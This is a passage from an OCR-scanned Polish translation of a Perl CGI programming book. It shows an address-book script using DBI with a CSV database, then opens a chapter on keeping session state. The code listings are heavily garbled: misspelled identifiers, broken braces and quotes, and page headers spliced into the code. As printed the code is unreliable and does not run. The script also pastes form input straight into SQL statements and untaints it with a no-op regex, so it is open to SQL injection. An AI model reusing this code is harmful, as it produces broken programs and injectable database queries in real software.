i usuwania rekordów książki adresowej (zob. rysunek 10.2). Oto początek skryptu CGI książki adresowej: #!/usr/bin/perl -wT use strict; use DBI; use CGI; use CGI::Carp qw(fatalsToBrowser); use vars qw($DBH $CGI $TABELA @NAZWY_POL @OPISY_POL); $DBH = DBI->connect("DBI:CSV:f_dir=/usr/local/apache/data/ksiazka_adresowa") or die "Nie można ustanowić połączenia: " . $DBI::errstr; @NAZWY_POL = ("imię", "nazwisko", "telefon", "dział", "lokalizacja"); @OPISY_POL = ("Imię", "Nazwisko", "Telefon", "Dział", "Lokalizacja"); $TABELA = "adres"; $CGI = new CGI(); Instrukcją use vars deklarujemy wszystkie zmienne globalne, których użyjemy w programie. Następnie je inicjujemy. Najpierw w $DBH umieszczamy uchwyt bazy danych, którym będziemy się posługiwać w całym programie. Potem zmiennym @NAZWY_POL i @OPISY_POL przypisujemy listę nazw pól bazy danych oraz ich nazwy opisowe, które będą wyświetlane użytkownikowi. Zmienna @NAZWY_POL stanowi powielenie w postaci listy tego, do czego będziemy się odwoływać poprzez nazwy formularzowych zmiennych, odpowiadających poszczególnym polom bazy danych. W zmiennej $TABELA umieszczamy nazwę tabeli. Na koniec tworzymy obiekt CGI o nazwie $CGI, zawierający informacje o danych wysłanych do skryptu CGI. W tym programie będziemy często korzystać z przysłanych parametrów, na podstawie których będziemy sterować wykonaniem programu. Na przykład wszystkie przyciski zlecania wysyłki zostaną opatrzone przedrostkiem „submit_" (od nazwy typu przycisku) i nazwą czynności. Na ich podstawie będziemy ustalać, który przycisk został naciśnięty, a tym samym, którą czynność skrypt CGI ma zrealizować. if ($CGI->param( "submit_modyfikacja" ) ) { wyswietlOpcjeModyfikacji( $CGI ) ; } elsif ( $CGI->param( "submit_aktualizacja" ) ) { wykonajAktualizacje( $CGI, $DBH ); } elsif ( $CGI->param( "submit_usuwanie" ) ) { wykonajUsuwanie( $CGI, $DBH ); } elsif ( $CGI->param( "submit_dodawanie" ) ) { wykonaj Dodawanie( $CGI, $DBH ); } elsif ( $CGI->param( "submit_podanie_zapytania_usuwajacego" ) ) { wyswietlPlanszeZapytaniaUsuwajacego( $CGI ); } elsif ( $CGI->param( "submit_podanie_zapytania_aktualizujacego" ) ) { wyswietlPlanszeZapytaniaAktualizujacego( $CGI ); } elsif ( $CGI->param( "submit_zapytanie_usuwajace" ) ) { wyswietlWynikiZapytaniaUsuwajacego( $CGI, $DBH ); } elsif ( $CGI->param( "submit_zapytanie_aktualizujace") ) { wyswietlWynikiZapytaniaAktualizujacego( $CGI, $DBH ); } elsif ( $CGI->param( "submit_podanie_nowego_adresu" ) ) { wyswietlPlanszeDodawaniaNowegoAdresu( $CGI ); } elsif ( $CGI->param( "submit_zapytanie" ) ) { wyswietlWynikiZapytania( $CGI, $DBH ); } else ( wyswietlPlanszeZapytania( $CGI ); } Tak jak napisaliśmy, na podstawie zmiennej $CGI sterujemy wykonaniem skryptu CGI. Wydać się może, że powyższy, rozbudowany blok {/ jest trochę zagmatwany, jednak w rzeczywistości tak nie jest: wystarczy zajrzeć w to jedno miejsce, aby dowiedzieć się, co robi cały program. Od razu wiadomo, że program domyślnie wyświetla planszę zapytania, natomiast po podaniu dodatkowych parametrów może wyświetlić planszę do podawania nowego adresu, zapytania aktualizującego, zapytania usuwającego oraz różnego rodzaju wyników zapytań, a także plansze z rezultatami po modyfikacji danych. sub wyswietlPlanszeZapytania { my $cgi = shift; print $cgi->header(); print qq' <HTML> <HEAD>
Programowanie CGI w Perlu
<TITLE>Książka adresowa</TITLE> </HEAD><BODY BGCOLOR "FFFFFF" TEXT = "000000"> <CENTER> <Hl>Książka adresowa</Hl> </CENTER> <HR> <FORM METHOD=POST> <H3><STRONG>Wprowadź kryteria wyszukiwania: </STRONG></H3> <TABLE><TR> <TD ALIGN="RIGHT">Imię:</TD> <TD><INPUT TYPE="text" NAME="imie"></TD> </TR> <TR><TD ALIGN="RIGHT">Nazwisko:</TD> <TD><INPUT TYPE="text" NAME="nazwisko"></TD> </TR> <TR> <TD ALIGN="RIGHT">Telefon:</TD> <TD><INPUT TYPE="text" NAME="telef on"></TD> </TR> <TR><TD ALIGN="RIGHT">Dział:</TD> <TD><INPUT TYPE="text" NAME="dzial"></TD></TR> <TR><TD ALIGN="RIGHT">Lokalizacja:</TD> <TD><INPUT TYPE="text" NAME="lokalizacja"></TD></TR> </TABLE> <INPUT TYPE="checkbox" NAME="scisle_dopasowanie"> <STRONG>Ścisłe dopasowanie</STRONG> (Domyślnie w wyszukiwaniu uwzględniana jest wielkość liter oraz dopasowania częściowe) <P> <INPUT TYPE="subrait" namę="subrait_zapytanię" value="Wyszukaj "> <INPUT TYPE="submit" name="submit_modyfikacja" value="Modyfikacja bazy danych"> <INPUT TYPE="reset" value="Wyczyść pola kryteriów"> </FORM> <P><HR> </BODY></HTML> '; } # koniec procedury wyswietlPlanszeZapytania sub wyswietlOpcjeModyfikacji ( my $cgi = shift; my $komunikat = shift; if ($komunikat) { $komunikat = $komunikat . "\n<HR>\n"; } print $cgi->header () ; print qq'<HTML> <HEAD><TITLE>Modyfikowanie książki adresowej</TITLE></HEAD> <BODY BGCOLOR="FFFFFF"> <CENTER> <Hl>Modyf ikowanie książki adresowej</Hl> <HR> $komunikat<P> <FORM METHOD=POST> <INPUT TYPE="SUBMIT" NAME="submit_podanie_nowego_adresu" VALUE="Nowy adres"> <INPUT TYPE="SUBMIT" NAME="submit_podanie_zapytania_aktualizujacego" VALUE="Uaktualnienie adresu"> <INPUT TYPE="SUBMIT" NAME="submit_podanie_zapytania_usuwajacego" VALUE="Usunięcie adresu"> <INPUT TYPE="SUBMIT" NAME="submit_nic" VALUE="Wyszukiwanie adresu"> </FORM> </CENTER> <HR> </BODY></HTML>' ; } #ł koniec procedury wyswietlOpcjeModyf ikacji sub wyswietlWszystkieWynikiZapytania { my $cgi = shift; my $dbh = shift; my $op = shift; my $ra_rezultaty_zapytania = pobierzWynikiZapytania ($cgi, $dbh) ; print $cgi->header () ; my $tytul; my $dodatkowa_kolumna = ""; my $ formularz = ""; my $centrowanie = ""; if ($op eq "SEARCH") { $tytul = "Rezultaty przeszukania książki adresowej";
127
Programowanie CGI w Perlu
128
$centrowanie = "<CENTER>"; } elsif ($op eq "UPDATE") { $tytul = "Rezultaty przeszukania książki adresowej pod kątem aktualizacji' $dodatkowa_kolumna = "<TH>Aktualizacja</TH>" ; $formularz = qq`<FORM METHOD="POST">` ; } else { $tytul = "Rezultaty przeszukania książki adresowej pod kątem usuwania"; $dodatkowa_kolumna = "<TH>Usuwanie</TH>" ; $formularz = qq`<FORM METHOD="POST">` ; } print qq`<HTML> <HEAD><TITLE>$tytuł</TITLE></HEAD> <BODY BGCOLOR="WHITE"> $centrowanie <Hl>Rezultaty przeszukania</Hl> <HR> $formularz <TABLE BORDER=1> `; print "<TR>$dodatkowa_kolumna" . join("\n", map("<TH>" . $_ . "</TH>", @OPISY_POL)) . "</TR>\n"; my $wiersz; foreach $wiersz (@$ra_rezultaty_zapytania) { print "<TR>"; if ($op eq "SEARCH") { print join("\n", map("<TD>" . $_ . "</TD>", @$wiersz)); } elsif ($op eq "UPDATE") { print qq`\n<TD ALIGN="CENTER"> <INPUT TYPE="radio" NAME="kryteria_aktualizacji" VALUE= join("l", @$wiersz) . qq`"></TD>\n'; print join("\n", map("<TD>" . $_ . "</TD>", @$wiersz)); } else { # usuń print qq"\n<TD ALIGN="CENTER"><INPUT TYPE="radio" NAME="kryteria_kasowania" VALUE="` join("|", @$wiersz) . qq""></TD>\n`; print join("\n", map("<TD>" . $_ . "</TD>", @$wiersz)); } print "</TR>\n"; } print qq"</TABLE>\n"; } if ($op eq "UPDATE") { my $tabela_adresowa = pobierzHTMLTabeliAdresowej() ; print qq`$tabela_adresowa <INPUT TYPE="submit" NAME="submit_aktualizacja" VALUE="Uaktualnij wybrany wiersz"> <INPUT TYPE="submit" NAME="submit_modyfikacja" VALUE="Modyfikowanie bazy danych"> </FORM> } elsif ($op eq "DELETE") { print qq"<P> <INPUT TYPE="submit" NAME="submit_usuwanie" VALUE="Usuń wybrany wiersz"> <INPUT TYPE="submit" NAME="submit_modyfikacja" VALUE="Modyfikowanie bazy danych"> </FORM> } else { print "</CENTER>"; } print "</BODY></HTML>\n"; } sub pobierzWynikiZapytania { my $cgi = shift; my $dbh = shift; my @rezultaty_zapytania; my $lista_pol = join(",", @NAZWY_POL) ; my $sql = "SELECT $lista_pol FROM $TABELA" my %kryteria = (); my $pole; foreach $pole (@NAZWY_POL) { if ($cgi->param($pole)) { $kryteria($pole) = $cgi->param($pole);
Programowanie CGI w Perlu
129
} } # konstruowanie klauzuli where my $klauzula_where; if ($cgi->param('scisle_dopasowanie')) { $klauzula_where = join(" and ", map ($_ . " = \"" . $kryteria{$_} . "\"", (keys %kryteria))) } else { $klauzula_where = join(" and ", map ($_ . " like \"%" . $kryteria{$_) . "%\"", (keys %kryteria) ) } $klauzula_where =~ /(.*)/; $klauzula_where = $1; $sql = $sql . " where " . $klauzula_where if ($klauzula_where); my $sth = $dbh->prepare($sql) or die "Nie można przygotować instrukcji: " . $dbh->errstr(); $sth->execute() or die "Nie można wykonać instrukcji: " . $sth->errstr(); my @wiersz; while (@wiersz = $sth->fetcfirow_array()) { my @rekord = Swiersz; push(@rezultaty_zapytania, \@rekord); ) $sth->finish() ; return \@rezultaty_zapytania; } ł koniec procedury pobierzWynikiZapytania sub wyswietlWynikiZapytania { my $cgi = shift; my $dbh = shift; wyswietlWszystkieWynikiZapytania($cgi,$dbh,"SEARCH"); ) ł koniec procedury wyswietlWynikiZapytania sub wyswietlWynikiZapytaniaAktualizujacego { my $cgi = shift; my $dbh = shift; wyswietlWszystkieWynikiZapytania($cgi,$dbh,"UPDATE"); } ł koniec procedury wyswietlWynikiZapytaniaAktualizujacego sub wyswietlWynikiZapytaniaUsuwajacego { my $cgi = shift; my Sdbh = shift; wyswietlWszystkieWynikiZapytania ($cgi, $dbh, "DELETE"),-) ł koniec procedury wyswietlWynikiZapytaniaUsuwajacego sub wykonaj Dodawanie { my $cgi = shift; my $dbh = shift; my @tablica_wartosci = (); my @brakujace_pola = (); my $pole; foreach $pole (@NAZWY_POL){ my $wartosc = $cgi->param($pole); if ($wartosc) { push(@tablica_wartosci, "'" . $wartosc . "'"); } else { 260 Rozdział W: Obsługa danych push(@brakujace_pola, $pole) my $lista_wartosci = " (" . join(" $lista_wartosci =~ /(.*)/; $lista_wartosci = $1; my $lista_pol = " (" . join(",", @NAZWY_POL) @tablica_wartosci) if (@brakujace_pola > 0) { my $komunikat_o_bledzie = qq'<STRONG> Niektóre pola (' . join(",", @brakujace_pola) . qq') nie zostały wypełnione ! Adres nie został wprowadzony do bazy danych. </STRONG>' ; wyswietlKomunikatOBledzie ($cgi, $komunikat_o_bledzie) ; } else { my $sql = qq'~INSERT INTO $TABELA $lista_pol VALUES $lista_wartosci ' ; my $sth = $dbh->prepare ($sql) or die "Nie można przygotować instrukcji: " . $dbh->errstr () ; $sth->execute () or die "Nie można wykonać instrukcji: " . $sth->errstr () ; $sth->finish() ; wyswietlOpcjeModyfikacji ($cgi, "Dodawanie zrealizowano pomyślnie! ") ; } # koniec procedury wykona j Dodawanie sub wykonajUsuwanie { my $cgi = shift; my $dbh = shift; my $kryteria_kasowania = $cgi->param("kryteria_kasowania") ; if ( ! $kryteria_kasowania) { my $komunikat_o_bledzie = "<STRONG>Nie wybrano rekordu do usunięcia ! </STRONG>" ; wyswietlKomunikatOBledzie ($cgi, $komunikat_o_bledzie) ; } else { my %kryteria = (); my @wartosci_pol = split(/\|/, $kryteria_kasowania) ; for (1. .@NAZWY_POL) { $kryteria{$NAZWY_POL[$_ - 1} } = $wartosci_pol [$_ - 1]; # konstruowanie klauzuli where my $klauzula_where; $klauzula_where = join(" and ", map ($_
Programowanie CGI w Perlu
130
. $kryteria($_) $klauzula_where =~ /(.*)/; $klauzula where = $1; \"", (keys %kryteria) ) DBI 261 my $sql = qq'~DELETE FROM STABELA WHERE $klauzula_where'; my $sth = $dbh>prepare($sql) or die "Nie można przygotować instrukcji: " . $dbh->errstr (); $sth->execute() or die "Nie można wykonać instrukcji: " . $sth->errstr(); $sth->finish() ; wyswietlOpcjeModyfikacji($cgi, "Usuwanie zrealizowano pomyślnie!"); } ł koniec procedury wykonajUsuwanie sub wykonajAktualizacje ( my $cgi = shift; my $dbh = shift; my $kryteria_aktualizacji = $cgi->param ("kryteria_aktualizacji"), if (!$kryteria_aktualizacji) ( my $komunikat_o_bledzie = "<STRONG>Nie wybrano rekordu do aktualizacji!</STRONG>"; wyswietlKomunikatoBledzie($cgi, $komunikat_o_bledzie); } else { (t konstruowanie klauzuli SET my Slogika_instr_set = ""; my %pola_instr_set = (); my $pole; foreach $pole (@NAZWY_POL) { my $wartosc = $cgi->param($pole); if ($wartosc) { $pola_instr_set{$pole} = $wartosc; $logika_instr_set = j map ($_ . " = V" . $pola_instr_set($_} . "\"", (keys %pola_instr_set))); $logika_instr_set = " SET $logika_instr_set" if ($logika_instr_set), $logika_instr_set =~ /(.*)/; $logika_instr_set = $1; my %kryteria = (); my @wartosci_pol = split(/\i/, $kryteria_aktualizacji); for (1..@NAZWY_POL) { Skryteria{$NAZWY_POL[$__ - 1]} = $wartosci_pol[$_ - i]; ł konstruowanie klauzuli where my $klauzula_where; $klauzula_where = join(" and ", map ($_ . " = \"" . $kryteria{$ $klauzula_where =~ /(.*)/; $klauzula where = $1; . "\"", (keys %kryteria))) my $sql = qq~UPDATE $TABELA $logika_instr_set' qq' WHERE $klauzula_where\262 Rozdział 10: Obsługa danych wplikad my $sth = $dbh->prepare($sql) or die "Nie można przygotować instrukcji: " . $dbh->errstr() ; $sth->execute () or die "Nie można wykonać instrukcji: " . $sth->errstr(); $sth->finish() ; wyswietlOpcjeModyfikacji($cgi, "Aktualizację zrealizowano pomyślnie!"); ) # koniec procedury wykonajAktualizacje sub wyswietlPlanszeDodawaniaNowegoAdresu { my $cgi = shift; wyswietlNowaPlanszeUsuwaniaAktualizacji($cgi, "ADD"); } l koniec procedury wyswietlPlanszeDodawaniaNowegoAdresu sub wyswietlPlanszeZapytaniaAktualizujacego { my $cgi = shift; wyswietlNowaPlanszeUsuwaniaAktualizacji($cgi, "UPDATE"); ) ł koniec procedury wyswietlPlanszeZapytaniaAktualizujacego sub wyswietlPlanszeZapytaniaUsuwajacego { my $cgi = shift; wyswietlNowaPlanszeUsuwaniaAktualizacji($cgi, "DELETE"); } # koniec procedury wyswietlPlanszeZapytaniaUsuwajacego sub wyswietlNowaPlanszeUsuwaniaAktualizacji { my $cgi = shift; my Soperacja = shift; my $op_na_adresie = "Wprowadzanie nowego adresu"; $op_na_adresie = "Wprowadzanie kryteriów wyszukiwania " . "pod kątem usuwania" if ($operacja eq "DELETE"); $op_na_adresie = "Wprowadzanie kryteriów wyszukiwania " . " pod kątem aktualizacji" if (Soperacja eq "UPDATE"); print $cgi->header(); # Drukowanie nagłówka print qq" <HTMLXHEAD> <TITLE>Modyfikowanie książki adresowej</TITLE> </HEAD> <BODY BGCOLOR="FFFFFF"> <Hl>$op_na_adresie</Hl> <HR> <P> <FORM METHOD=POST> if ($operacja eq "ADD") {
Programowanie CGI w Perlu
131
DBI 263 print "W poniższym formularzu wprowadź nowe informacjfe\n"; ) elsif ($operacja eq "UPDATE") { print "W poniższym formularzu wprowadź kryteria zapytania.<P>\nPotem z listy rezultatów będzie można wybrać pozycje do modyfikacji.\n"; } else { print "W poniższym formularzu wprowadź kryteria zapytania.<P>\nPotem z listy rezultatów będzie można wybrać pozycje do usunięcia.\n"; my $tabela_adręsowa = pobierzHTMLTabeliAdresowej () ; print qq' <HR> $tabela adresowa if ($operacja eq "ADD") { print qq" <P> <INPUT TYPE="submit" NAME="submit_dodawanie" VALUE="Dodaj nowy adres"XP> } elsif ($operacja eq "UPDATE") { print qq' <INPUT TYPE="checkbox" NAME="wyszukiwanie_scisle"> <STRONG>Wyszukiwanie ścisłe</STRONG> <P> <INPOT TYPE="submit" NAME="submit_zapytanie_aktualizujace" VALUE="Zapytanie pod kątem modyfikacji"> ) else print qq" <INPUT TYPE="checkbox" NAME="wyszukiwanie_scisle"> <STRONG>Wyszukiwanie ścisłe</STRONG> <P> <INPUT TYPE="submit" NAME="submit_zapytanie_Usuwajace" VALUE="Zapytanie pod kątem usuwania"> ł drukowanie stopki HTML print qq" <INPUT TYPE="reset" VALUE="Wyczyść formularz"> </FORM> </BODYX/HTML> } ł koniec procedury wyswietlNowaPlanszeUsuwaniaAktualizacji sub wyswietlKomunikatOBledzie ( my Scgi = shift; my $komunikat_o_bledzie = shift; print $cgi->header(); print qq' <HTML> <HEADXTITLE>Komunikat o błedzie</TITLEX/HEAD> <BODY BGCOLOR="WHITE"> <Hl>Wystąpił błąd</Hl> <HR> $komunikat_o_bledzie <HR> </BODY> </HTML> } ł koniec procedury wyswietlKomunikatOBledzie sub pobierzHTMLTabeliAdresowej { return qq" <TABLE> <TR> <TD ALIGN= <TDXINPUT </TR> <TR> <TD ALIGN= <TDXINPUT </TR> <TR> <TD ALIGN= <TDXINPUT </TR> <TR> <TD ALIGN= <TDXINPUT </TR> <TR> <TD ALIGN= <TDXINPUT </TR> </TABLE> t RIGHT">Imię:</TD> TYPE="text" NAME="imie"x/TD> 'RIGHT">Nazwisko:</TD> TYPE="text" NAME="nazwisko"x/TD>
Programowanie CGI w Perlu
132
"RIGHT">Telefon:</TD> TYPE="text" NAME="telefon"X/TD> 'RIGHT">Dział:</TD> TYPE="text" NAME="dzial"X/TD> "RIGHT">Lokalizacj a:</TD> TYPE="text" NAME="lokalizacja"X/TD> } # koniec procedury pobierzHTMLTabeliAdresowej Łatwo zauważyć, że styl tego skryptu CGI jest inny niż w pozostałych przykładach. Widzieliśmy już skrypty oparte na modułach CGI.pm, Embperl i HTML::Template. W tym skrypcie zastosowaliśmy podawanie HTML-a w cudzysłowie. To rozwiązanie możemy porównać z innymi i wybrać tę metodę, które najbardziej nam odpowiada. Powyższy skrypt jest jednym długim plikiem. Jego zaletą jest to, że cała logika zawarta jest w jednym pliku, wadą zaś to, że czytanie tak długiego listingu sprawia trudności. Argumenty „za i przeciw" w kwestii scalania aplikacji czy dzielenia jej na części przedstawimy w rozdziale 16, „Wytyczne do tworzenia lepszych aplikacji CGI".
Rozdział 11 Utrzymywanie stanu HTTP jest protokołem bezstanowym. Zgodnie z tym, co napisaliśmy w rozdziale 2, „HTTP - protokół transferu hipertekstu", protokół HTTP definiuje sposób, w jaki klienty i serwery komunikują się ze sobą w celu dostarczenia dokumentów i innych zasobów użytkownikowi. Niestety, jak przy okazji wspomnieliśmy (zob. „Identyfikacja klientów" w rozdziale 2), HTTP nie zapewnia bezpośredniego sposobu identyfikacji klientów, który pozwoliłby na śledzenie ich kolejnych żądań stron. Istnieją jednak niebezpośrednie metody śledzenia, i nimi właśnie się zajmiemy w niniejszym rozdziale. Zespół działań służących śledzeniu użytkowników projektanci Web nazywają utrzymywaniem stanu (ang. maintaining stale). Sesją (ang. session) nazywany jest szereg kolejnych interakcji między użytkownikiem a serwisem. Informacje zebrane od użytkownika to informacje sesyjne (ang. session Information). Do czego jest potrzebne utrzymywanie stanu? U kogoś, kto ceni sobie prywatność, pomysł śledzenia użytkowników może budzić negatywne odczucia. To prawda, że śledzenie użytkowników może mieć zastosowanie moralnie wątpliwe. Jednak są takie sytuacje, które nie tylko upoważniają nas, ale wręcz zmuszają do śledzenia. Weźmy na przykład sklep internetowy: aby użytkownicy mogli przeglądać artykuły, niektóre z nich pododawać do koszyka, a następnie je zakupić, dla każdego użytkownika serwer przez cały czas musi utrzymywać osobny koszyk. W tym wypadku notowanie wybranych pozycji zawartych w informacji sesyjnej danego użytkownika nie tylko jest dozwolone, ale wręcz pożądane. Zanim omówimy metody utrzymywania stanu, pokrótce przypomnijmy sobie wcześniejsze wiadomości na temat modelu transakcji HTTP. Uzyskamy w ten sposób kontekst potrzebny do zrozumienia przedstawianych później możliwości. Każda transakcja HTTP odbywa się według tego samego ogólnego schematu: pojawia się żądanie od klienta, a po nim odpowiedź od serwera. W jednym i w drugim można wydzielić wiersz żądania (lub odpowiedzi), wiersze nagłówkowe, a niekiedy treść wiadomości. Otwórzmy przeglądarkę i wpiszmy na przykład następujący URL: http:llwww.oreilly.com/catalog/cgi2/index.html Przeglądarka połączy się wówczas z serwisem www.oreilly.com na porcie 80 (domyślny port HTTP) i zgłosi żądanie pliku /catalog/cgi2/index.html. Ponieważ z portem 80 związany jest serwer Web, odpowie on ze swej strony na żądanie zgłoszone przez ten port. Oto przykładowe żądanie zgłoszone przez przeglądarkę obsługującą HTTP 1.0: GET /index.html HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */* Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8 User-Agent: Mozilla/4.5 (Macintosh; I; PPC) Przeglądarka poprzez żądanie o metodzie GET zwraca się o dokument, określa protokół, który ma być użyty, oraz przekazuje kilka nagłówków z informacjami o sobie i akceptowanych formatach treści. Ponieważ żądanie jest wysyłane jako GET, a nie POST, przeglądarka nie przekazuje do serwera części zasadniczej. Oto przykładowa odpowiedź na powyższe żądanie: HTTP/1.0 200 OK Datę: Sat, 18 Mar 2000 20:35:35 GMT Server: Apache/1.3.9 (Unix) Last-Modified: Wed, 20 May 1998 14:59:42 GMT Content-Length: 141 Content-Type: text/html (treść) ... W wersji l .0 HTTP serwer zwraca żądany dokument, po czym zamyka połączenie. Tak jest: serwer nie podtrzymuje otwartego połączenia między sobą a przeglądarką. Gdybyśmy zatem kliknęli łącze na zwróconej stronie, przeglądarka zgłosiłaby kolejne żądanie do serwera itd. Oznacza to, że serwer nie może rozpoznać, że to my zażądaliśmy następnego dokumentu. Tak właśnie należy rozumieć bezstanowość, czyli nietrwałość; między jedną transakcją a drugą serwer nie utrzymuje w pamięd ani nie magazynuje na dysku żadnych informacji o żądaniach. Możemy poznać adres sieciowy klienta, który się z nami łączy, lecz - o czym już wiemy z wcześniejszego omówienia (zob. „Serwery proxy" w rozdziale 2) — za pośrednictwem tego samego serwera proxy może się łączyć kilku użytkowników.
Programowanie CGI w Perlu
133
Ciekawić nas może, co się zmieniło w wersji 1.1 protokołu HTTP. Owszem, połączenie może pozostawać otwarte pomiędzy wielokrotnymi żądaniami, przy czym cykl żądania i odpowiedzi nadal wygląda tak samo. Niemniej jednak nie można liczyć na pozostawienie połączenia sieciowego w stanie otwartym, ponieważ i tak z różnych powodów może zostać zamknięte lub zerwane. Co więcej, do CGI nie wprowadzono zmian umożliwiających dostęp do jakichkolwiek informacji, które by pozwalały powiązać ze sobą żądania w ramach tego samego połączenia. A zatem w wypadku HTTP 1.1, tak jak w wypadku HTTP 1.0, zadanie utrzymania stanu spada na nas. Rozważmy przykład ze sklepowym koszykiem: serwis powinien umożliwiać kupującym swobodne poruszanie się po wielu stronach i dokładanie wybranych pozycji do koszyka. Kupujący dodaje pozycję do koszyka zwykle w ten sposób, że wybiera artykuł, wprowadza jego ilość, po czym zleca wysyłkę tak wypełnionego formularza. W rezultacie dane zostaną przesłane do serwera, który z kolei wywoła żądaną aplikację CGI. Dla serwera jest to po prostu jeszcze jedno żądanie. Tak więc zadaniem aplikacji jest nie tylko śledzenie danych między wielokrotnymi zgłoszeniami, lecz także rozpoznawanie, do którego z nabywców otrzymane dane przynależą. Aby utrzymać stan, musimy spowodować, aby program-klient przy każdym żądaniu przekazywał nam sobie tylko właściwy identyfikator. Na podstawie przytoczonego przykładu widać, że są tylko trzy sposoby przekazywania informacji od klienta: poprzez wiersz żądania, poprzez wiersz nagłówkowy lub poprzez treść (w wypadku żądań POST). Zatem chcąc utrzymywać stan, możemy sprawić, by klient przekazywał nam unikatowy identyfikator za pomocą dowolnej z wymienionych metod. Techniki, które będziemy badać, obejmują wszystkie trzy możliwości: Łańcuchy zapytań i dodatkowe informacje o ścieżce Identyfikator można zawrzeć w łańcuchu zapytania lub w formie dodatkowej informacji o ścieżce w URLu dokumentu. Gdy użytkownicy przemieszczają się po serwisie, aplikacja CGI na bieżąco generuje dokumenty, przekazując identyfikator od jednego dokumentu do drugiego. Dzięki temu możliwe jest śledzenie dokumentów żądanych przez poszczególnych użytkowników, z uwzględnieniem kolejności, w jakiej ich zażądano. Informację tę przeglądarka wysyła do nas poprzez wiersz żądania. Pola ukryte Za pomocą pól ukrytych możemy osadzić w formularzu „niewidoczne" pary na-zwa-wartość, których użytkownik nie będzie mógł poznać, nie zaglądając do kodu źródłowego strony HTML. Informacje te, tak jak typowe pola i wartości, wysyłane są do aplikacji CGI, gdy użytkownik naciśnie przycisk zlecania wysyłki. Technikę tę na ogół wykorzystuje się w celu utrzymania stanu elementów i preferencji wybranych przez użytkownika, gdy sesja obejmuje szereg formularzy. Zobaczymy również, jak wiele w tym wypadku może dla nas zrobić moduł CGI.pm. Przeglądarka wysyła do nas te informacje poprzez wiersz żądania lub treść wiadomości, w zależności od tego, czy żądanie było typu GET czy POST. Ciasteczka po stronie klienta Wszystkie nowoczesne przeglądarki obsługują ciasteczka (ang. cookies) po stronie klienta. Ciasteczka umożliwiają nam umieszczenie informacji na maszynie klienc-kiej, która potem przy każdym żądaniu będzie je z powrotem do nas przekazywać. Mogą posłużyć do przechowywania po stronie klienta półtrwałych danych, które zostaną nam później udostępnione, gdy użytkownik zażąda zasobów z tego samego serwera. Klient odsyła ciasteczko w wierszu nagłówkowym HTTP Cookie. Zalety i wady każdej z technik zostały zestawione w tabeli 11.1. Każdą z technik omówimy osobno. Gdyby któryś z punktów tabeli był niejasny, będzie można do niej wrócić po przeczytaniu kolejnych podrozdziałów. Należy też pamiętać, że ciasteczka na ogół dają największe możliwości, lecz wymagają współpracy ze strony klienta. Pozostałe rozwiązania działają niezależnie od klienta, lecz obydwa mają ograniczenia co do liczby stron, przez które można śledzić użytkownika. Tabela 11.1. Zestawienie technik stosowanych w celu utrzymania stanu Technika Zakres stosowania Niezawodność i wydajność Wymagania względem klienta Łańcuch zapytania oraz Można je konfigurować Trudno jest przeprowadzić Nie wymaga od klienta dodatkowa informacja o pod kątem określonej niezawodną analizę podejmowania ścieżce grupy stron lub całego składniową wszystkich szczególnych działań serwisu Web; informacja o łączy w dokumencie; stanie nie jest przekazywanie treści zachowywana gdy statycznych przez skrypt użytkownik opuszcza CGI odbywa się kosztem serwis i później do niego znacznego spadku wraca wydajności Pola ukryte Działa tylko w ramach serii Rozwiązanie łatwe w Nie wymaga od klienta wysyłek formularzy implementacji; nie wpływa podejmowania na wydajność szczególnych działań Ciasteczka Działa w każdym wypadku, Rozwiązanie łatwe w Wymaga od klienta, aby także wtedy, gdy implementacji; nie wpływa obsługiwał (i akceptował) użytkownik wraca po na wydajność ciasteczka uprzednim przejściu do innego serwisu
Programowanie CGI w Perlu
134
Łańcuchy zapytań i dodatkowa informacja o ścieżce W mniejszej książce do aplikacji CGI wielokrotnie przekazywaliśmy zapytania. W tym podrozdziale użyjemy zapytań w nieco odmienny sposób, a ściślej: do śledzenia drogi przebytej przez użytkownika przy przechodzeniu od jednego dokumentu do drugiego na danym serwerze. W tym celu posłużymy się skryptem CGI, który będzie obsługiwać każde żądanie statycznej strony HTML. Skrypt CGI sprawdzi, czy żądanie URL zawiera identyfikator zgodny z ustalonym formatem. Jeśli nie będzie go zawierać, to skrypt przyjmie, że jest to nowy użytkownik i wygeneruje nowy identyfikator. Następnie skrypt dokona analizy składniowej (rozbioru) informacji o żądanym dokumencie HTML, poszukując łączy do innych URL-i w danym serwisie Web i dołączając do każdego URL-a unikatowy identyfikator. Dzięki temu identyfikator będzie przekazywany dalej przy kolejnych żądaniach i przenoszony od dokumentu do dokumentu. Oczywiście, jeśli chcemy śledzić użytkowników między różnymi aplikacjami CGI, rozbiór danych będziemy musieli przeprowadzać na wyjściu odpowiednich skryptów CGI. Najprostszym sposobem osiągnięcia obydwu celów jest utworzenie uniwersalnego modułu, który by obsługiwał odczytywanie identyfikatorów i rozbiór danych na wyjściu skryptów. Wówczas taki kod trzeba napisać tylko raz, a do obsługi stron HTML przeznaczyć osobny skrypt. Wszystkie pozostałe skrypty CGI również będą mogły z tego modułu korzystać. Jak łatwo zgadnąć, nie jest to zbyt efektywny proces, ponieważ żądanie któregokolwiek dokumentu HTML za każdym razem od nowa wyzwala aplikację CGI. Pomocne są takie narzędzia, jak mod_perl i FastCGI, omówione w rozdziale 17, „Efektywność i optymalizacja", gdyż obydwa efektywnie osadzają interpreter Perla w serwerze Web. Kolejne podejście, które pozwala zwiększyć wydajność, polega na przetwarzaniu z wyprzedzeniem. Dzięki wstępnemu przetworzeniu dokumentów możemy zredukować nakład pracy, która będzie wykonywana, gdy kupujący będzie do nich sięgać. Większość pracy występującej przy analizie składniowej dokumentu i podmianie łączy dotyczy identyfikacji łączy. Pożytecznym modułem jest HTML::Parser, przy czym działania, które wykonuje, są dość złożone. Jeśli podczas analizy składniowej łączy zamiast jednego z nich wstawimy specjalne słowo kluczowe, reprezentujące konkretnego użytkownika, będziemy je mogli później odszukać i nie zajmować się już rozpoznawaniem łączy. Moglibyśmy na przykład przy każdym dokumencie analizować URL-e i jako identyfikator wstawiać #USERID#. W rezultacie kod stanie się o wiele prostszy. Sprawną obsługę dokumentów zapewni na przykład następujący kod: sub parse { my( $nazwapliku, $id ) = @_; local *FH; open FH, $nazwapliku or die "Nie można otworzyć pliku: $!"; while (<FH>) { s/#USERID#/$id/g; print; } } Gdy jednak użytkownik przemierza zestaw statycznych dokumentów HTML, aplikacje CGI zazwyczaj nie biorą w tym udziału. Jak zatem w takiej sytuacji przekazywać informacje sesyjne z jednego dokumentu do drugiego i śledzić je na serwerze? Rozwiązaniem problemu jest takie skonfigurowanie serwera, aby 